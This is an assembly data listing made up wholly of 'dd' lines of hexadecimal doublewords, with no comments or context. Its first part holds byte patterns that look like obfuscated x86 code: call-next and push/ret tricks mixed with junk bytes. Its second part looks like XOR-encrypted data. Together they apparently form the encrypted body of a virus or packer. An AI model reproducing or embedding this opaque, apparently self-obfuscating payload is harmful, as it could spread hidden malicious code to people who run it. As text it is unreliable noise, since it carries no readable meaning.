dd 0F0938AAh, 8B66CAB7h, 49BD83CFh, 9351Bh, 179850Fh, 0DE80000h
dd 0D0000000h, 615E6D8Ah, 44C325C5h, 0A7FEC971h, 0BE8h
dd 0DD9BAD00h, 8C7BA9D0h, 0F82A467Dh, 0C3D958Bh, 5F590935h
dd 179D85C6h, 6A470935h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1D042444h, 46000000h, 0C95C356h, 0E9B96805h
dd 0E06C55BBh, 0BE8h, 47CD4600h, 0CE1B464Ch, 9BC9940Ch
dd 4A1B589h, 81590935h, 0EE10A0D9h, 4E80Dh, 0A7D20000h
dd 10E8D49Ah, 59000000h, 46C3DF4Dh, 0B4195B80h, 0C64621E8h
dd 0BF8F149Ch, 27AF7838h, 5056505Fh, 10E952h, 1A380000h
dd 0C8BE4970h, 11B0416Fh, 0B1A1EBA0h, 310F3B05h, 10E8h
dd 5B225600h, 1E08F1F3h, 7C58283Fh, 0F7426E92h, 585A5B17h
dd 24448B5Fh, 55B96604h, 0E8008B82h, 7, 78121731h, 0BA53D732h
dd 7CC6D24Ch, 2444895Fh, 5E804h, 0F0070000h, 6650E44Eh
dd 590D0AB9h, 0FFFA8B58h, 35167DB5h, 55006A09h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 7177F341h
dd 0FE8B66BAh, 7B70858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0B634C0C3h, 0BE9h, 64AAD500h
dd 9D164542h, 83660004h, 5E8D0FFh, 0D3000000h, 6CBE851Bh
dd 4159D8Bh, 895A0935h, 351B4985h, 45858909h, 8309351Bh
dd 352A85BDh, 850F0009h, 11Ch, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0EC35545h, 0DA9599B8h, 0B093BF31h
dd 0D38166F3h, 8B6673E9h, 9D85C6FEh, 47093517h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0B5C35747h, 26098D0Bh
dd 0BD8B0935h, 9350121h, 4E8h, 0FB5E200h, 0EE8608Ah, 2A000000h
dd 0D736DD1h, 3F244548h, 0B19E241Eh, 5F5E5064h, 0A723BB66h
dd 98B95061h, 8B2AFB21h, 0B5042444h, 0BB008B66h, 75125246h
dd 4244489h, 8958D08Bh, 3528598Dh, 7DB5FF09h, 6A093516h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h
dd 43000000h, 9167C353h, 307695Fh, 0CE8h, 0C85B2100h, 7AA52882h
dd 746DD8C6h, 5BCE8B64h, 7B70858Dh, 0D0FF0938h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0AC35343h, 34455887h
dd 80FDE565h, 516097E2h, 615BB8B6h, 2A858589h, 0BD8B0935h
dd 9351C39h, 2BD9BD83h, 0F000935h, 0B485h, 25958B00h, 0C6093524h
dd 35179D85h, 8D035609h, 9351261h, 33F8D568h, 37CBBF9Ah
dd 348111F7h, 2C95EC24h, 0D181664Eh, 0B5FF65B6h, 935167Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9FC35242h
dd 43DE2110h, 80D7AF86h, 858D38D3h, 9387B70h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 0C5C35242h, 0D6D9D0EDh
dd 0C810FB7h, 0F000000h, 683h, 0E98D2900h, 0E909351Dh
dd 8, 33683F5Eh, 0C973E9A1h, 6660D0FFh, 0A1AFC681h, 875BBB66h
dd 0D9858961h, 3109352Bh, 3503D98Dh, 9D85C609h, 6C093517h
dd 12E9h, 3C9EA900h, 0F9FC9411h, 93C59F6Eh, 95E7AA56h
dd 897B7A98h, 35309995h, 4E809h, 70830000h, 0F0BFDB05h
dd 506DF980h, 5E9h, 0B995600h, 448B9301h, 0DE80424h, 91000000h
dd 7B8CF9FAh, 5F668441h, 17213B54h, 8B5A48B5h, 0CF8B5300h
dd 24448959h, 6E95104h, 0AE000000h, 0CE88687Eh, 815859A3h
dd 0FEAB12CBh, 0C9B5FF0Fh, 0E809350Eh, 6, 0F4579B2Fh, 8D29E2B1h
dd 93526D1h, 98858D5Bh, 8B093538h, 6AD0FFD7h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
dd 0BD9DC351h, 0B5C5F186h, 305B692Bh, 8960CA8Bh, 351C798Dh
dd 85896109h, 938A9F7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Bh, 0D1C35747h, 37BA9782h, 29F5BB49h, 352B89BDh
dd 89046A09h, 352B659Dh, 72826809h, 481F3CAh, 359D7E24h
dd 59BD8B0Ch, 68093511h, 0C02C88C9h, 81DE8B66h, 77372404h
dd 6A3FD4h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
dd 52420000h, 0EE44DAC3h, 0C135BD32h, 0D01BD0Bh, 6A0935h
dd 27D1BD8Bh, 95FF0935h, 9350451h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 9DC35343h, 858967B6h, 938AA03h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 1C35242h
dd 66FADC13h, 89006AE5h, 35061585h, 4E809h, 0
dd 8E90001h, 0EF000000h, 0A9F0D8D3h, 5000705Bh, 448BCC8Ah
dd 890F0424h, 17h, 0AE95250h, 0FB000000h, 7B7E1FEh, 75B8AA71h
dd 52310FC7h, 8B585A5Fh, 24448900h, 8B665704h, 66585FD0h
dd 4650C181h, 287B950h, 4892F50h, 53006A24h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 9A2E821Eh
dd 44357E45h, 7E80B6Ah, 2000000h, 5FEAB1ECh, 9D2B8C08h
dd 9351BC1h, 0D0858D5Bh, 10938A9h, 350C99B5h, 59D2309h
dd 50093533h, 489CC8Ah, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1804h, 0C3574700h, 85261303h, 98B6F5DBh
dd 4995FFF9h, 6A09351Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1D042444h, 40000000h, 5F3FC350h, 0EA1A8AF7h
dd 0DD94400Ah, 0B58D40B6h, 938A9DAh, 68E0Fh, 0BD8B0000h
dd 9352761h, 83BF6650h, 2434894Fh, 88FDB966h, 0D38B5090h
dd 11E990h, 68C00000h, 3AF970EAh, 0F5B3A6CBh, 8DF97D91h
dd 0FF177E17h, 352A8595h, 0FF60B609h, 1BD8BD0h, 8B09350Ch
dd 38AA03B5h, 0C7FB8B09h, 38A9FB85h, 9, 0DDBD2900h, 80093517h
dd 0F00207Eh, 2ED84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1C04h, 0C3534300h, 40ACBC2Ah, 0B54E4366h
dd 0CA816666h, 958B3284h, 9350359h, 3860F60h, 80000000h
dd 468DB0C6h, 9DBD8920h, 89093503h, 38A9FF85h, 25958909h
dd 0E909351Ch, 0Ah, 0F154B966h, 66DE8B40h, 3880D98Bh, 0F1850F00h
dd 0BFFFFFFh, 350B7595h, 7DBD8909h, 0E909350Ah, 0Ch, 1171BD29h
dd 66480935h, 6157D281h, 0F5C3880h, 5684h, 0B1958B00h
dd 80093502h, 840F2F38h, 47h, 1EC99D8Bh, 853B0935h, 938A9FFh
dd 0FFD0830Fh, 6AFFFFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 170424h, 55450000h, 8D34ADC3h, 61B58924h, 0E9093511h
dd 9, 65A665D7h, 60B981CFh, 40D38B58h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ch, 59C35646h, 40CD0988h, 113A7FF1h
dd 6018D8Bh, 8B600935h, 35332585h, 0F1BDBB09h, 83610E87h
dd 38AA07BDh, 840F0009h, 93h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 7BC35141h, 7F6036EDh, 840F7093h
dd 1Eh, 12E8h, 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh
dd 30034DAh, 350C5195h, 8B505A09h, 240489F9h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0E7C35343h, 16C7A964h
dd 0CAC1B62Fh, 0F98B66DBh, 0AA078503h, 5E80938h, 0B4000000h
dd 0EDF65A21h, 0C65ACA8Bh, 0BF0F0000h, 0BBB58C9h, 50416FD1h
dd 4850Fh, 57500000h, 4895B5Fh, 0B5858924h, 0FF093516h
dd 38A9F3B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 0B86C0DCFh, 0DCC98166h, 8166517Dh
dd 5B7816D2h, 0A9F795FFh, 0E2810938h, 69846A15h, 0B97ED80h
dd 80850FC0h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 0BFFFC352h, 1817DE5Ah
dd 17519529h, 6A610935h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 16042444h, 41000000h, 5215C351h, 798589C6h
dd 0E8093503h, 11h, 5F2A1719h, 407AA748h, 0C16A8824h, 0C9AC73B6h
dd 4976B963h, 0C7597330h, 38A9FB85h, 109h, 3D8D3300h, 0E909352Dh
dd 5Ah, 61DF8B66h, 58F0Fh, 54BF0000h, 816D9C62h, 11CC6h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h
dd 0C3574700h, 0E8603CFFh, 14h, 0A6840162h, 406420A6h
dd 4F3806Eh, 28FB8F8Eh, 6946BAE4h, 0E95FFFB1h, 0FFFFFD0Fh
dd 3BD9D31h, 37680935h, 667BA479h, 3481CA8Bh, 0A4F93724h
dd 50006A7Bh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 16BD2DB2h, 0DE945h, 0EB2D0000h, 0B3F12C3Ch
dd 0B21E254Eh, 6A14573Bh, 0B8EB8000h, 0AA03B5FFh, 6A0938h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
dd 0B8CBC4C3h, 0FE144D2Ch, 0E933C244h, 7, 0FBFCCECBh, 8B5DF507h
dd 0D995FFCFh, 3309352Bh, 3528159Dh, 0FB858B09h, 0B30938A9h
dd 0DE890F4h, 0AA000000h, 0C2E5CF9h, 0CBC00574h, 151E3E94h
dd 0C9BA505Bh, 90071BEFh, 14E9h, 75C11B00h, 0F40DC726h
dd 0AE749F17h, 0B885454Bh, 874B80D6h, 0B858DF3h, 8B0938AAh
dd 350AA99Dh, 49958B09h, 9009351Fh, 0F78B6660h, 61616060h
dd 0C5BF5061h, 901E33A3h, 439B01BFh, 0C8858D07h, 6A0938A9h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 663EC352h, 0D8DC281h, 19958957h, 59093508h
dd 0FE890h, 0B5550000h, 0E64B91BBh, 98090D9Ah, 0C1A589BEh
dd 0AFB4B9DFh, 505A721Fh, 90D38B66h, 95FFD9B5h, 9352A9Dh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 18C35646h
dd 37490B41h, 4DF2588Eh, 1880Fh, 8BFC0000h, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 95893F58h, 9350691h, 26A1BD83h, 75000935h, 79BD8309h
dd 93530h, 53501374h, 0D0B8C08Bh, 8D000004h, 37B2739Dh
dd 5BD3FF09h, 79BD8358h, 93530h, 53501174h, 4D0B8h, 729D8D00h
dd 0FF0937B1h, 0F585BD3h, 685h, 39B53100h, 8909350Eh, 35222D85h
dd 0F8C08B09h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1A04h, 0C3574700h, 9B9C5B55h, 0C234BB02h
dd 85890008h, 9350F5Dh, 958BC08Bh, 93528D1h, 0AA3C858Dh
dd 6A0938h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
dd 57470000h, 0A63B03C3h, 1CCB48E3h, 8D8BFEF8h, 9350F25h
dd 0A20C51B9h, 25858918h, 0EB09351Fh, 0DB000039h, 0DB02CC00h
dd 0DB02E400h, 0
dd 151F6900h, 0C13C9F5h, 1D1B2EC4h, 161FD490h, 1C58BCFDh
dd 367684FCh, 343A30C4h, 37027490h, 2C1878E0h, 1913FCF8h
dd 911647F4h, 7876A380h, 3FAF8275h, 60507408h, 0A68A7793h
dd 0B5DC6E20h, 0C5F5DD1Bh, 7143A831h, 0FB7F3290h, 4D46DA2Dh
dd 6102D199h, 0B8FDBBC0h, 7872CD28h, 0B9F3B390h, 0F57F28BAh
dd 4FC2B60Dh, 23A5B899h, 1CB20C8h, 787FE4A0h, 2B26FFE4h
dd 7872CD28h, 0B9F3B390h, 0F57F28BAh, 4FC7A90Dh, 23A5B899h
dd 2E76C9C8h, 7876D278h, 0BB28C890h, 5C02FDCEh, 5C32BB94h
dd 78760794h, 0BB20C890h, 0B0C54C33h, 0F199CF5Ah, 4D7A001Dh
dd 0F3816299h, 0F3102650h, 0FDB0606Eh, 71430A0Dh, 0A5FBA7C6h
dd 107F728Bh, 6700A495h, 7876509Fh, 7CF7E890h, 4AC739B4h
dd 1298BAEDh, 6E0BA86Fh, 781C87A5h, 7875AFC5h, 2556A390h
dd 14FF8C53h, 3CF7ECB4h, 786F70B4h, 2D333A90h, 0A0292753h
dd 0F3AD074Ch, 4D5E1E05h, 8F32E99h, 907FE9EBh, 7876E896h
dd 0DE3A5381h, 729F352Eh, 0C2761D90h, 336CFBBDh, 0A4155761h
dd 0ED47FA3Ah, 7143F231h, 0FDFF386Fh, 71435CA9h, 0F5FF3EFAh
dd 71432FC1h, 2E00AAF8h, 3EBCF87Eh, 7CF7DB2Ch, 0D1EF0DB4h
dd 2D768281h, 78767778h, 0BB2B1A90h, 5C1A94CDh, 5C320F94h
dd 78765B94h, 0BB23E690h, 0C74E67D4h, 615CE980h, 78729C15h
dd 7A9A3A90h, 0ADFC1D90h, 0F38705C0h, 2F7263D4h, 218C28F6h
dd 0C610D11Bh, 3CFF5544h, 122E70B4h, 7B9E6A90h, 58761D90h
dd 0F12E4DC8h, 0F97263D4h, 6F7287D4h, 3876D190h, 523A2BC0h
dd 6B9EC836h, 0BD763A90h, 353A794Ch, 0F32EE3A4h, 73F391B7h
dd 0DC3F657Dh, 0CDFDA3E2h, 7143CB61h, 12761ECEh, 7B9E6F90h
dd 58761D90h, 0F12B4DCDh, 0F97263FCh, 607287D4h, 3D76D190h
dd 9E4F2BC5h, 775BF4F8h, 78763815h, 872C4B90h, 2876E440h
dd 78764478h, 0BB2E8390h, 5C3258C8h, 5C326994h, 78766094h
dd 0BB267A90h, 0B9849C7Ch, 0F3194151h, 4D78921Dh, 1BF32A99h
dd 127FE927h, 7B9EBA90h, 58767490h, 0F12CF9CAh, 0F97239C4h
dd 6E72AAD4h, 3A764790h, 0F8BD60C2h, 0C1C9B7E6h, 7D8E636Dh
dd 7876765Ch, 0CF11BF19h, 0B8F514A8h, 13F30788h, 4B7F7F27h
dd 7A9A1A50h, 0D285D190h, 9023E8FAh, 78767493h, 25B567B0h
dd 7C527119h, 7C52CA11h, 78764785h, 14B5F6D5h, 0EDCB5AFEh
dd 127FDD9Eh, 7B9E2490h, 58763A90h, 0F12EDEC8h, 0F972AAD4h
dd 6C7263D4h, 3876A390h, 0F37612C0h, 0E5F32E63h, 3B7F4187h
dd 90233AFAh, 78761D93h, 25B5D3B0h, 7C522B19h, 7C52E711h
dd 7876D187h, 36B5BDD5h, 102F3435h, 661373DCh, 6A521911h
dd 87088CB2h, 4D603A25h, 2B76C999h, 7876D278h, 0BB2DC890h
dd 5C2AFDCBh, 5C32BB94h, 78760194h, 0BB25CD90h, 66EFCE6h
dd 0FBA56B02h, 0FDFB24EDh, 714E93E0h, 78767B78h, 0F6E6A790h
dd 7DF5C633h, 0BAC88DB5h, 73B79EE5h, 27797A10h, 781C016Fh
dd 787500C0h, 20567490h, 3CFF6253h, 3CF719B4h, 78618AB4h
dd 28364790h, 35CEF153h, 65FB5858h, 1E7FDD9Bh, 0FDFF831Bh
dd 71431825h, 9F39065h, 497FBBA2h, 4D79961Dh, 49F32A99h
dd 127FE493h, 7B9EBA90h, 58767490h, 0F12CF9CAh, 0F97239C4h
dd 6E72AAD4h, 3A764790h, 4EEB60C2h, 0F910B1C0h, 51524E51h
dd 4D59350Dh, 0FDB05B99h, 71430A0Dh, 11E3A7C3h, 107F72A2h
dd 0F28F7F48h, 7876C379h, 5C1B6090h, 0E3402237h, 41A0699Ch
dd 91B0907Eh, 0F92D6F6Ah, 14766394h, 0C5FDD227h, 7143F30Dh
dd 6E0B5D6Fh, 781C7DA5h, 7875D2C2h, 22561D90h, 2CFFD453h
dd 3CF743B4h, 786AA7B4h, 2A34D190h, 1C4FD453h, 6896EC5Bh
dd 83FD0128h, 306981Dh, 781C87A8h, 7875AFC2h, 2256A390h
dd 2CFF8B53h, 3CF7ECB4h, 786E70B4h, 2A343A90h, 8CB0F353h
dd 0ED5FEA46h, 71436855h, 0C210736Fh, 0FDFFB25Bh, 7143E0B9h
dd 7875F29Fh, 89F63A90h, 0E5F3DB10h, 2B7FBB87h, 7875C49Fh
dd 0C779A390h, 6F2AB941h, 0B0FD7603h, 2F527011h, 124FBF3Dh
dd 7B9E4B90h, 58768E90h, 0F12884CEh, 0F97287E4h, 6C72F5D4h
dd 3E76E890h, 87E2B7C6h, 4D604725h, 0B3FD7B99h, 3060B1Dh
dd 781C4EA8h, 78754BC0h, 2056D190h, 3CFFB053h, 3CF770B4h
dd 78633EB4h, 28361D90h, 1E685F53h, 8753932Eh, 2876C940h
dd 7876D278h, 0BB2EC890h, 5C32FDC8h, 5C32BB94h, 78760794h
dd 0BB26CE90h, 0A65E425Ch, 77652894h, 7876D11Fh, 69F36190h
dd 2A7F41BEh, 5C2F8F1Bh, 0BE2F14A5h, 4D611315h, 781C0099h
dd 78754BC5h, 2556D190h, 14FFB553h, 3CF770B4h, 786B3EB4h
dd 2D331D90h, 0BEED2E53h, 4448054Fh, 5B954AA1h, 4D72FC1Dh
dd 31DB8099h, 0C210DA90h, 4CF78165h, 0A6E219B4h, 2B76E489h
dd 78764478h, 0BB2D8390h, 5C2A58CBh, 5C326994h, 78766994h
dd 0BB257990h, 0CD092FC0h, 1EEC07CDh, 0F5FD6D95h, 7143A679h
dd 6E0B646Fh, 0F5FDE1A5h, 71436495h, 306BF1Dh, 781C14A8h
dd 787566C7h, 27564790h, 4FFFC53h, 3CF7D5B4h, 7861ECB4h
dd 2F317490h, 2B4F1F53h, 12A6E2BDh, 7B9EDE90h, 58764790h
dd 0F12E60C8h, 0F972F5D4h, 6072CCD4h, 38767490h, 0FC95F9C0h
dd 0F91B3AB8h, 0F5BD0B41h, 91F3CEDEh, 127F969Ah, 7B9E8190h
dd 5876E890h, 0F12EB7C8h, 0F9721ED4h, 637239D4h, 38768E90h
dd 40FC84C0h, 77E2D973h, 769E1760h, 0B276E890h, 0CE743873h
dd 272252Eh, 16FB1B9Fh, 7BF5817Bh, 1E764790h, 0BE2C721Bh
dd 4D614C15h, 781CAF99h, 78759CC0h, 20563A90h, 3CFF4553h
dd 3CF78AB4h, 786343B4h, 2836A390h, 905E7853h, 7876E894h
dd 0F9AA64EAh, 28A7B1F6h, 78761178h, 27CB2290h, 1B922875h
dd 9E5D6FC0h, 0ABFDB76Ah, 5C3263C9h, 0C976FF94h, 5C32B323h
dd 787BF494h, 1A5F8E90h, 88B9A95Bh, 928CFB96h, 2082FAFAh
dd 9026E8FAh, 78767493h, 20B562B0h, 7C525919h, 7C52CA11h
dd 7876478Ch, 1FB5F3D0h, 6609552h, 97EEF890h, 78766479h
dd 0C093E490h, 194D8926h, 0C5FEC368h, 0CC7B4013h, 5C35CECh
dd 127FE486h, 7B9EBA90h, 58767490h, 0F12CF9CAh, 0F97239C4h
dd 6472AAD4h, 3A764790h, 33A760C2h, 0B651E236h, 0C2B314B0h
dd 233D5A8Eh, 306BF1Dh, 781C14A8h, 787566C7h, 27564790h
dd 4FFFC53h, 3CF7D5B4h, 7862ECB4h, 2F317490h, 0A889B853h
dd 5A1F9819h, 0FDFF87A5h, 7143435Dh, 36562A2Eh, 0E5F317A8h
dd 3F7FDD87h, 902474FAh, 78763A93h, 22B547B0h, 7C52DA19h
dd 7C520311h, 7876A38Dh, 1AB583D2h, 0E4555F7Dh, 5BA0D953h
dd 85F33B3Dh, 1E7F28B7h, 0F9436F11h, 5A1BB7F8h, 1E25C334h
dd 902C2A1Bh, 7876E883h, 0F1136473h, 0B4832E62h, 20F59D4Eh
dd 66E92FC1h, 90264214h, 7876A384h, 3A5D495Ch, 0AC120C02h
dd 0EB85C9A8h, 4AB1AFF4h, 113BF64Ch, 0F917D7CEh, 0B61B6394h
dd 0FD5FA53Ah, 7143C0F1h, 6E0B5D6Fh, 781C7DA5h, 7875D2C6h
dd 26561D90h, 0CFFD053h, 3CF743B4h, 786BA7B4h, 2E30D190h
dd 789C7053h, 0D5F70F5Ch, 77D8C32Ch, 719ED427h, 32768E90h
dd 17B1EFE2h, 15CB39E6h, 7876C279h, 0A80DF590h, 48272DD7h
dd 0C4F084CFh, 63F61BF8h, 6DF5E520h, 8F3CAC9h, 127F9BEBh
dd 7B9E8090h, 5876E890h, 0F12FB7C9h, 0F9721EDCh, 617239D4h
dd 39768E90h, 0C06F84C1h, 414638EAh, 55C358C3h, 217FDDBBh
dd 781CA46Fh, 7875D2C7h
dd 27561D90h, 4FFD153h, 3CF743B4h, 7860A7B4h, 2F31D190h
dd 14E26953h, 7E3FF91Bh, 0F18A33A5h, 4D74C015h, 2A76E499h
dd 78764478h, 0BB2C8390h, 5C2258CAh, 5C326994h, 78766E94h
dd 0BB247890h, 0E4410A6Ch, 87430347h, 28762D40h, 7876A078h
dd 0BB2EF190h, 5C3261C8h, 5C32F594h, 78762F94h, 0BB265D90h
dd 0F5FDC69Dh, 71435CBDh, 7876AD79h, 5571B290h, 637A8B50h
dd 0C7A0E53Ch, 0F1A6817Eh, 4D52C815h, 2976E499h, 78764478h
dd 0BB2F8390h, 5C3A58C9h, 5C326994h, 78766294h, 0BB277B90h
dd 1E84B1B6h, 781C561Ch, 7875AFC0h, 2056A390h, 3CFF8953h
dd 3CF7ECB4h, 786E70B4h, 28363A90h, 4C1DDE53h, 7C5243A3h
dd 5C1BD21Bh, 0C5FDAAA5h, 7143D541h, 0FC79289Ah, 78767743h
dd 90273AFAh, 78761D93h, 21B5D7B0h, 7C520B19h, 7C52E711h
dd 7876D18Ah, 96B5B9D1h, 2AA08E3Ch, 0FDB0F2D9h, 71430A0Dh
dd 787266DFh, 14B24790h, 90261C10h, 7876D195h, 0EE65DBC2h
dd 7AFA7B01h, 0F2763A90h, 3CFD445Bh, 0C6108AB4h, 78FDEC98h
dd 0F1B828F6h, 9172F5D4h, 7876E89Fh, 52F47670h, 0DCB6620Ch
dd 8D0464EBh, 20221F4Ah, 747BF21Bh, 0CD89AAA5h, 7143C7EDh
dd 9026E8FAh, 78767493h, 20B562B0h, 7C525919h, 7C52CA11h
dd 78764786h, 0CB5F3D0h, 0E55FE015h, 7143E605h, 0FDFBBF1Bh
dd 714E41E0h, 90271DFAh, 78768E93h, 21B51EB0h, 7C52EF19h
dd 7C529511h, 7876E885h, 88B525D1h, 0F1CBB396h, 187F28A1h
dd 4A471B19h, 769F4EA5h, 0BA76A390h, 79311916h, 0CE34CF27h
dd 34ED026Eh, 0BBCC5BEAh, 870C7231h, 2976E440h, 78764478h
dd 0BB2F8390h, 5C3A58C9h, 5C326994h, 78766194h, 0BB277B90h
dd 0E5FFD9A7h, 7143BED1h, 0FBBAB610h, 781C8750h, 787539C7h
dd 2756E890h, 4FF2B53h, 3CF73EB4h, 786E19B4h, 2F318E90h
dd 3C1E5D53h, 8CFC2A94h, 57134419h, 0FDFFE1A5h, 7143784Dh
dd 671FBF19h, 0FDFD14A5h, 7143AA45h, 639FDA19h, 0E5FDAAA5h
dd 7143D34Dh, 9020E8FAh, 78767493h, 26B564B0h, 7C526919h
dd 7C52CA11h, 78764789h, 0C8B5F5D6h, 0CFA65A43h, 709FABBCh
dd 25767490h, 8182A507h, 7762C626h, 63FD712Fh, 902047FAh
dd 7876A393h, 26B58FB0h, 7C529C19h, 7C523011h, 78763A84h
dd 0DAB54BD6h, 78768B79h, 0B57C6E90h, 0FDFFCF53h, 7143D49Dh
dd 781CF31Bh, 78759CC0h, 20563A90h, 3CFF4553h, 3CF78AB4h
dd 786D43B4h, 2836A390h, 0F5BF9F53h, 5CFE6677h, 126DFF40h
dd 7B9E6890h, 58761D90h, 0F12C4DCAh, 0F97263C4h, 6D7287D4h
dd 3A76D190h, 0ECD92BC2h, 8AEA8311h, 0A0454726h, 5EB9469h
dd 187FBB9Dh, 78765578h, 32FC6490h, 11609808h, 0EFFEEFC8h
dd 75222D70h, 1E45B283h, 0B79BCD11h, 85E307CEh, 197F7293h
dd 6FEB2656h, 1231D8A5h, 7B9EBE90h, 58767490h, 0F128F9CEh
dd 0F97239E4h, 6172AAD4h, 3E764790h, 0BF6C60C6h, 0D967A221h
dd 787301F0h, 0D0667490h, 1E9C0DE5h, 9017CE1Bh, 78768E94h
dd 0CFA89A39h, 1826B922h, 0F0626BF6h, 7874659Fh, 0AFFD7490h
dd 5C32B1F1h, 661FA494h, 78FDA68Ch, 1F64F9F6h, 7C52E719h
dd 7876C278h, 96DB6390h, 0B450AC69h, 0D3EE7631h, 72B1C080h
dd 4BFC1ABh, 21BCCCF6h, 2F76C9C8h, 7876D278h, 0BB29C890h
dd 5C0AFDCFh, 5C32BB94h, 78760594h, 0BB21C990h, 6C8FF5D4h
dd 71CB2A9Ah, 777FE4B9h, 0CD893A27h, 714362EDh, 532BA799h
dd 0FDFB14A5h, 714EF5E0h, 902647FAh, 7876A393h, 20B589B0h
dd 7C52AC19h, 7C523011h, 78763A8Ch, 26B54DD0h, 3F7F6C4Eh
dd 0DEA478D8h, 7870279Fh, 0FDFFD190h, 7143ECADh, 781CA46Fh
dd 7875D2C2h, 22561D90h, 2CFFD453h, 3CF743B4h, 786CA7B4h
dd 2A34D190h, 16D2AD53h, 0AD19480Ch, 0D69383F6h, 729F9819h
dd 689F87A5h, 73764790h, 7533200Bh, 43F49C6Ah, 0BD738B17h
dd 38F8DAD1h, 781C3A1Bh, 7875F5C6h, 26568E90h, 0CFF1953h
dd 3CF7A7B4h, 7861D5B4h, 2E30E890h, 0A8451D53h, 77AFBB3Fh
dd 0F3238E5Eh, 2B76E490h, 78764478h, 0BB2D8390h, 5C2A58CBh
dd 5C326994h, 78766394h, 0BB257990h, 4DA8260Bh, 0F18E05F6h
dd 4D7D7615h, 81FDC399h, 7876C179h, 1F1E5B90h, 7ED348A2h
dd 0D32F2B6Bh, 0E8C1F993h, 0A29FEFA8h, 1E764790h, 0F5F38E2Ah
dd 40C15815h, 0F310B899h, 5C72FD5Eh, 90233AFAh, 78761D93h
dd 25B5D3B0h, 7C522B19h, 7C52E711h, 7876D189h, 0CCB5BDD5h
dd 0A6980C4Eh, 8DCBB162h, 877F288Dh, 4D679705h, 28762D99h
dd 7876A078h, 0BB2EF190h, 5C3261C8h, 5C32F594h, 78762094h
dd 0BB265D90h, 6D7FAE31h, 0F3305B29h, 4D77321Dh, 69C35899h
dd 0F57FDDA0h, 40C1FB0Dh, 32BFBB99h, 286524CDh, 0F18105F6h
dd 1E26638Ch, 7CFF701Bh, 0B9E35AB4h, 877FDD9Dh, 4D5CF105h
dd 0FDEB3B99h, 0F17F28B6h, 4D7A5315h, 28762D99h, 7876A078h
dd 0BB2EF190h, 5C3261C8h, 5C32F594h, 78762094h, 0BB265D90h
dd 0ADBB3291h, 9111DC4Fh, 7876A382h, 6E5093A7h, 14051EE8h
dd 0A6105176h, 2AE37BEAh, 0F310ACD6h, 0E5F34862h, 2B7F7287h
dd 0F1A528F0h, 4D7A801Dh, 0B11E8999h, 18DF5867h, 78F835C3h
dd 26761D90h, 2A26DCC0h, 202C769Fh, 0C110929Fh, 202CF3FDh
dd 5C4269F1h, 7BDD0726h, 90213AFAh, 78761D93h, 27B5D1B0h
dd 7C523B19h, 7C52E711h, 7876D187h, 0D1B5BFD7h, 7772ADAEh
dd 78763C1Eh, 15FB9490h, 0F37FBBB7h, 4D640A25h, 5C35C99h
dd 127FE486h, 7B9EBA90h, 58767490h, 0F12CF9CAh, 0F97239C4h
dd 6D72AAD4h, 3A764790h, 1DEB60C2h, 7876DE79h, 0F1F19990h
dd 9EB034DCh, 47C27CBFh, 0B71418FEh, 3060B1Dh, 0CDFD4EA8h
dd 714387E5h, 0CF79016Fh, 29F3615Eh, 187F4181h, 753BAFA1h
dd 0BE1714A5h, 4D611315h, 781C0099h, 78754BC7h, 2756D190h
dd 4FFB753h, 3CF770B4h, 78633EB4h, 2F311D90h, 1E92BC53h
dd 251AB011h, 0B1C717F8h, 7864380Fh, 0F661E890h, 7A9FCAE8h
dd 0E0C23361h, 0F80E6D13h, 0B191500Dh, 0A4524311h, 0F3770BF3h
dd 4D5ABC1Dh, 5C31799h, 127F4186h, 7B9E6B90h, 58761D90h
dd 0F12F4DC9h, 0F97263DCh, 627287D4h, 3976D190h, 2E692BC1h
dd 0A2E09E4Eh, 3DE3B3E4h, 0F57F28BBh, 400DFE15h, 75EB6E99h
dd 877F968Bh, 0B6C8B740h, 0F1F36185h, 127F4192h, 7B9E6A90h
dd 58761D90h, 0F12E4DC8h, 0F97263D4h, 617287D4h, 3876D190h
